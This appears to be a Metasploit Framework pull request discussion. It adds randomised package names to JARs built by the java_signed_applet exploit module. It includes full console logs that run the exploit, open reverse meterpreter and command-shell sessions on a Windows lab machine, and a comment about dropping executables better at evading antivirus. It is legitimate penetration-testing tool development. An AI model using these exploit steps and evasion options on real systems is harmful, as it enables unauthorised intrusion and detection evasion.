Add randomization to Rex::Zip::Jar and java_signed_applet

[jvazquez-r7]

Pete (from the pentesting team) and @jlee-r7 had a great idea of adding by default randomization of the package name (metasploit) to the java_signed_applet module. Pete worked in a first code, which can be found in this branch: https://github.com/jvazquez-r7/metasploit-framework/tree/java_signed_applet_random_class

This pull request tries to make a pull request to provide the intended feature, but trying to keep the current framework behaviour when generating jar's, with the hope of not breaking nothing with the current modification.

This pull request:

• Adds the randomisation layer to Rex::Zip::Jar.
• Allows java payloads providing generate_jar and Msf::Util::Exe#generate_jar the capability to randomise the package name ("metasploit") with an easy :random option.
• Modifies java_signed_applet to randomise the package name (metasploit) by deafult.

Verification

• Use exploit/multi/browser/java_signed_applet with a native paylaod (windows/meterpreter/reverse_tcp) by default. It should get a session.

msf > use exploit/multi/browser/java_signed_applet 
msf exploit(java_signed_applet) > set srvhost 192.168.172.1
srvhost => 192.168.172.1
msf exploit(java_signed_applet) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.165:4444 
[*] Using URL: http://192.168.172.1:8080/VaZMGDdJ
[*] Server started.
msf exploit(java_signed_applet) > [*] 192.168.172.133  java_signed_applet - Handling request
[*] 192.168.172.133  java_signed_applet - Sending SiteLoader.jar. Waiting for user to click 'accept'...
[*] 192.168.172.133  java_signed_applet - Sending SiteLoader.jar. Waiting for user to click 'accept'...
[*] Sending stage (769024 bytes) to 10.6.0.165
[*] Meterpreter session 1 opened (10.6.0.165:4444 -> 10.6.0.165:50294) at 2014-02-27 12:32:37 -0600

msf exploit(java_signed_applet) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.133 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(java_signed_applet) > jobs -K
Stopping all jobs...

[*] Server stopped.
[*] Server stopped.
msf exploit(java_signed_applet) > 

• Use exploit/multi/browser/java_signed_applet with a java/meterpreter/reverse_tcp. It should get a session.

msf exploit(java_signed_applet) > set target 0
target => 0
msf exploit(java_signed_applet) > set payload java/meterpreter/reverse_tcp 
payload => java/meterpreter/reverse_tcp
msf exploit(java_signed_applet) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.165:4444 
[*] Using URL: http://192.168.172.1:8080/XPuCSeb
[*] Server started.
msf exploit(java_signed_applet) > 
[*] 192.168.172.133  java_signed_applet - Handling request
[*] 192.168.172.133  java_signed_applet - Sending SiteLoader.jar. Waiting for user to click 'accept'...
[*] 192.168.172.133  java_signed_applet - Sending SiteLoader.jar. Waiting for user to click 'accept'...
[*] Sending stage (30355 bytes) to 10.6.0.165
[*] Meterpreter session 2 opened (10.6.0.165:4444 -> 10.6.0.165:50301) at 2014-02-27 12:35:46 -0600

msf exploit(java_signed_applet) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer    : WIN-RNJ7NBRK9L7
OS          : Windows 7 6.1 (x86)
Meterpreter : java/java
emeterpreter > exit
[*] Shutting down Meterpreter...

[*] 10.6.0.165 - Meterpreter session 2 closed.  Reason: User exit
msf exploit(java_signed_applet) > 

• Use exploit/multi/browser/java_signed_applet with java/shell_reverse_tcp. It should get a session

msf exploit(java_signed_applet) > set payload java/shell_reverse_tcp 
payload => java/shell_reverse_tcp
msf exploit(java_signed_applet) > exploit
[*] Exploit running as background job.

[-] Handler failed to bind to 10.6.0.165:4444
[*] Started reverse handler on 0.0.0.0:4444 
[*] Using URL: http://192.168.172.1:8080/WNHryjRPu
[*] Server started.
msf exploit(java_signed_applet) > jobs -K
Stopping all jobs...
[*] Server stopped.
[*] Server stopped.
msf exploit(java_signed_applet) > sessions -K
[*] Killing all sessions...
msf exploit(java_signed_applet) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.165:4444 
[*] Using URL: http://192.168.172.1:8080/qd8AaT6w
[*] Server started.
msf exploit(java_signed_applet) > [*] 192.168.172.133  java_signed_applet - Handling request
[*] 192.168.172.133  java_signed_applet - Sending SiteLoader.jar. Waiting for user to click 'accept'...
[*] 192.168.172.133  java_signed_applet - Sending SiteLoader.jar. Waiting for user to click 'accept'...
[*] Command shell session 3 opened (10.6.0.165:4444 -> 10.6.0.165:50309) at 2014-02-27 12:37:05 -0600

msf exploit(java_signed_applet) > sessions -i 3
[*] Starting interaction with 3...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\Juan Vazquez\Desktop>exit  
exit

[*] 10.6.0.165 - Command shell session 3 closed.  Reason: Died from EOFError

• Get any of the generated JAR's and confirm with the "metasploit" package isn't used anymore. But a random package name.
• Try to use any other Java module, should work as before.

[mubix]

Is there any mechanism in which if the target is windows or the payload is windows that EXE::Custom could be implemented to allow for a more AV adept exe to be dropped (ala http://www.room362.com/blog/2012/11/19/execustom-in-metasploits-java-exploits/ )

[wchen-r7]

@mubix The java_signed_applet.rb module uses the encoded_jar method to create the jar:

  def encoded_jar(opts={})
    return pinst.generate_jar(opts) if pinst.respond_to? :generate_jar

    opts[:spawn] ||= pinst.datastore["Spawn"]

    Msf::Util::EXE.to_jar(encoded_exe(opts), opts)
  end

As you can see the encoded_jar method calls encoded_exe to generate the executable. If you check the encoded_exe method (can be found in encoded_payload.rb), you will see that it does check the emod.datastore["EXE::Custom"] datastore option, and use it.

In other words, it should be able to do what you want already. If not, please let us know.